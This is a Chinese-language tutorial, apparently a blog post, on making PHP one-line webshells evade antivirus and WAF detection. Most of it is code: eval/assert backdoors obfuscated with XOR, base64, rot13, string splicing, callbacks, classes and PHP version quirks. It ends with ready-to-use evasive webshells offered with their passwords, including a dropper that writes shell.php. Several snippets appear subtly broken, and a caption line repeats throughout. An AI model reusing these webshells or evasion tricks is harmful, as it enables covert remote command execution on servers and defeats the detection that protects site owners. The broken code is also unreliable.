天天看點

0X00普通的一句話木馬(适用于CTF和小站)

作者:安鸾網絡安全
<?php eval($_POST['a']); ?>
//函數的相似替換
<?php assert($_POST['a']); ?>           

<?php @eval($_POST['110']);?>與第一個一句話木馬相比多了一個"@"字元,我們發現這個字元的含義是在php文法中表示抑制錯誤資訊即使有錯誤也不傳回;屬于不太重要的"元件",而且它的寫入位置也相對靈活;可以是eval函數前面,也可以是post函數前面.....

接着我們看第二個代碼,我們發現它把eval函數替換為了assert函數;這時我們通過檢視PHP手冊(友情連結)發現如下差別:

  • eval():函數把字元串當做代碼來計算,但是字元串必須是正确的PHP代碼,且要以分号結尾
  • assert():通過函數判斷表達式是否成立,如果成立是會執行該表達式,否則報錯

可以考慮使用assert函數代替eval函數,因為eval函數實在太敏感了!!!這時又有師傅會問:那還有什麼敏感函數呢?那就太多了(eg:system,post,get.....),是以我們可以更據免殺的精髓得出,混淆和加密這兩種百試不爽的兩個方法。

小提示:php一句話木馬也可以執行其他指令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>)是以,不一定要用POST函數,GET函數也是可以的!(注意:get函數隻能向伺服器請求資訊,是以隻能和指令執行綁定在一起喲!)

0X01 php的免殺(字元串免殺思路)

字元串異或加密

字元串base家族加密

字元串rot13加密

字元串拼接

php免殺之異或免殺

大多數情況下,開發者為了友善自身的需求,會使用"黑名單"的方式扳掉許多敏感函數,來達到一個表面看上去新相對安全的一個目的,但是卻不知道因為這種大意的思維會導緻整個系統都處于極度危險中;攻擊者以往遇見這種情況。完全可以通過加密的方法可以解決大部分的問題(eg:異或加密,base家族加密,URL加密.....)。是以我們常常會說:白名單>WAF>黑名單!

"^"為異或運算符,在PHP中,兩個變量進行異或時,會将字元串轉換成二進制再進行異或運算,異或運算完,又将結果從二進制轉換成了字元串(參考連結)

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
$___=$__;
$_($___[_]);            
<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("#34; ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
${$__}[!$_](${$___}[$_]);
?>           
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$_____;
$____($_[$__]);           

小提示:可以通過下列的PHP異或腳本解決生成函數的問題

<?php
    $test = '~!@#$%^&*()_+\|/?.,-={}[]';
    for($i=0;$i<strlen($test);$i++){
        for($j=0;$j<strlen($test);$j++){
            if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
                echo $test[$i].'^'.$test[$j].'結果為:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
                echo $test[$i].'^'.$test[$j].'結果為:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }
        }
    } 
?>           

雖然簡單友善,但是容易通過靜态識别被發現,這樣我們的免殺就會被識破,為了繼續進行wbshell免殺,我們可以通過學習下面的免殺技巧,并與之相結合!進而達到繞過WAF與php禁用函數的目的!

php免殺之base家族加密

<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>           

這種方法沒有什麼特别的用處,但是可以嘗試base16或base32與其他方法搭配使用,效果是不錯的!

php免殺之rot13加密

<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>           

rot13對eavl函數進行加密,即"riny"(可以通過這種方式繞過函數的正則比對)!

0X00普通的一句話木馬(适用于CTF和小站)

雖然威脅級别很高,但是我們可以作用于其他免殺的處理上,使得免殺率得到一定程度的下降!(但是下面這個卻被殺的死死的,我不了解,會不會是格式原因呢?)

<?php
class A{
function xxx($a){
$b=str_rot13('!r!i!n!y!!');
$str=explode('!',$b)[5];
$str($a);}
}
$c=new A();
$c->xxx($_REQUEST['110']);
?>           
0X00普通的一句話木馬(适用于CTF和小站)

php免殺之拼接免殺

<?php $k="e"."v"."a"."l"; $k(${"_PO"."ST"} ['110']);?>           
0X00普通的一句話木馬(适用于CTF和小站)

我們可以将敏感函數拆分,然後做一個簡單的敏感函數免殺!其次也可以使用下面的arry數組結構函數進行免殺。

<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>           
0X00普通的一句話木馬(适用于CTF和小站)

也就是說,我們隻要把PSOT函數在用rot13加個密就可以了;或者考慮變量替換(但是根據D盾的檢測來看,效果不一定會比加密好)!

php免殺之混淆免殺

<?php 
function a() 
{ 
return "/*110110110110*/".$_POST['110']."/*110110110110**/"; 
} 
@eval(a()); 
?>           
0X00普通的一句話木馬(适用于CTF和小站)

單純的字元串變化直接被殺的死死的,是以我們還需要配合其他無用字元去混淆視聽,進而增強免殺效果!

<?php $a = str_replace(x,"","xexaxvxlx"); $a(@$_POST["110"]); ?>           
0X00普通的一句話木馬(适用于CTF和小站)

這裡多少一句啊,為了避免被檢測到,可以參考檔案上傳的原理(重點是想辦法造成溢出),這樣的後果就是檔案變大,不過适合搭配圖檔馬使用。

0X02 php的免殺(函數特性免殺思路)

函數替換

自定義函數繞過

變形回調

數組

可變變量

php免殺之函數替換

array_map():函數基本上是将數組的每個元素發送到使用者自定義的函數中進行修改或處理,然後傳回一個具有該函數修改後新值的數組。

array_filter():通過函數過濾掉數組中的元素

array_reduce():發送數組中的值到使用者自定義函數,并傳回一個字元串

array_diff_uassoc():比較兩個數組的鍵名和鍵值(使用使用者自定義函數比較鍵名),并傳回差集

array_udiff():比較兩個數組的鍵值(使用使用者自定義函數比較鍵值),并傳回差集

array_udiff_uassoc():通過使用自定義函數比較鍵和值,計算數組的差集

array_intersect_assoc():比較兩個數組的鍵名和鍵值,并傳回交集

array_uintersect():比較兩個數組的鍵值(使用使用者自定義函數比較鍵值),并傳回交集

array_uintersect_uassoc():比較兩個數組的鍵名和鍵值(使用使用者自定義函數進行比較),并傳回交集
xml_set_character_data_handler():該函數規定當解析器在 XML 檔案中找到字元資料時所調用的函數。如果處理器被成功的建立,該函數将傳回 true;否則傳回 false。
xml_set_default_handler():函數為 XML 解析器建立預設的資料處理器。該函數規定在隻要解析器在 XML 檔案中找到資料時都會調用的函數。如果成功,該函數則傳回 TRUE。如果失敗,則傳回 FALSE。
xml_set_external_entity_ref_handler():函數規定當解析器在 XML 文檔中找到外部實體時被調用的函數。如果成功,該函數則傳回 TRUE。如果失敗,則傳回 FALSE

xml_set_notation_decl_handler():函數規定當解析器在 XML 文檔中找到符号聲明時被調用的函數。           

如果成功,該函數則傳回 TRUE。如果失敗,則傳回 FALSE。

xml_set_unparsed_entity_decl_handler():函數規定在遇到無法解析的實體名稱(NDATA)聲明時被調用的函數。如果處理器被成功的建立,該函數将傳回 true;否則傳回 false。

盡量去PHP文法手冊,找一些及其偏門的函數........

php免殺之自定義函數繞過(可搭配大小寫)

<?php 
 function aaa($a){
     return $a;
 }
 function bbb($b){
     return eval($b);
 }
 function post(){
    return @$_POST['110'];
}    
function run(){
    return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>           
0X00普通的一句話木馬(适用于CTF和小站)

我們可以通過我們自定義的函數方式,搭配php的版本和可替換函數繞過WAF的攔截,達到免殺的目的!由于在PHP函數中函數名、方法名、類名 不區分大小寫,但推薦使用與定義時相同的名字的時候還可以使得大小寫進行繞過,是以大大提升了免殺效果!

php免殺之回調函數加組合繞過

array_walk()  
array_map()
filter_var() 
filter_var_array() 
uasort() 
uksort()            

以上是常見的可待替代函數,但是大部分都被殺的死死的,是以需要混淆才可以使用!

php免殺之數組繞過

<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>           

php免殺之可變變量

PHP中有一種變量叫做可變變量,這種變量不是一種基礎類型的變量。可變變量是指一個普通變量的值可以作為另一個變量的名稱被使用。這句話聽起來有些抽象。我們可以通過執行個體來展示可變變量的定義以及實用。

<?php 
$zeo='miansha';
$zeo=$_POST['110'];
eval($miansha);
?>           
0X00普通的一句話木馬(适用于CTF和小站)

這個時候我們就可以使用一些多次加密的手段,把eval函數進行一個多次加密,已達到完全免殺的結果!

php的免殺使用類繞過免殺

類現在是大多數人的常用選擇之一,因為類這個方法在過D盾檢測的時候效率較高;但是用類自然就少不了魔法函數,我們簡單構造一個類的免殺馬如下:

<?php 
 class zeo2
 {
   public $b ='';
   function post(){
     return $_POST['x'];
   }
 }
class zeo extends zeo2
{
  public $code=null;
  function __construct(){
          $code=parent::post();
    assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>           
0X00普通的一句話木馬(适用于CTF和小站)

0X03 php的免殺(基于PHP版本差異進行免殺)

傳統的php免殺不用多說了,無非就是各種變形和外部參數擷取,對于一些先進的waf和防火牆來說,不論如何解析最終都會到達指令執行的地方,但是如果文法報錯的話,就可能導緻解析失敗了,這裡簡單說幾個利用php版本來進行語義出錯的php指令執行方式。

1、利用特殊符号來引起報錯

<?php \echo 'whoami'; ?>           

PHP版本:隻限于5.2版本

它的要求是能幹擾到殺軟的正則判斷,還要代碼能執行。這個可以自己慢慢測試。具體就是利用各種回車、換行、null和空白字元,這裡我們嘗試改造為可連接配接的一句話木馬,配合上面的可變變量

<?php 
$xxxxxxxxxxxxxx='miansha'; 
$xxxxxxxxxxxxxx=$_POST['110']; 
eval(``.$miansha); 
?>           
0X00普通的一句話木馬(适用于CTF和小站)

2、十六進制字元串

PHP版本:隻限于5.3和5.5版本;在php7中不認為是數字,php5則依舊為數字。(友情提示: 5.X可以成功執行指令,php7無法執行)

<?php $s=substr("aabbccsystem","0x6"); $s(whoami) ?>           
0X00普通的一句話木馬(适用于CTF和小站)

小提示:對于我們可以結合垃圾資料,變形混淆,以及大量特殊字元和注釋的方式來構造更多的payload,畢竟每家的waf規則不同,配置也不同,與一些傳輸層面的bypass進行結合産生的可能性就會非常多樣。

3、利用在文法不換行來執行指令

PHP版本:隻限于7.3.4版本,如果是其他的版本就會報錯,是以針對性較強!

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>           

小提示:7.0版本的??特性,如果版本為5.x的話就會報錯,可以結合一些其他的方式吧!

0X00普通的一句話木馬(适用于CTF和小站)

0X04PHP一句話免殺執行個體

我這邊就送個大家一些免殺把!

<?php 
$file="shell.php";
$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";
file_put_contents($file,base64_decode($shell));
?>
//連接配接密碼110           
0X00普通的一句話木馬(适用于CTF和小站)

另外在附上小馬一個,希望大家一起集思廣益!

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>
//密鑰3           
0X00普通的一句話木馬(适用于CTF和小站)

0X04 一句話免殺小結

這篇文章的目的是想讓大家對一句話木馬免殺有一定的了解,在免殺對抗越來越激烈的情況下,我們不得不發散自己的思維。這次就由我來抛磚引玉,大家有什麼想法,可以評論區交流!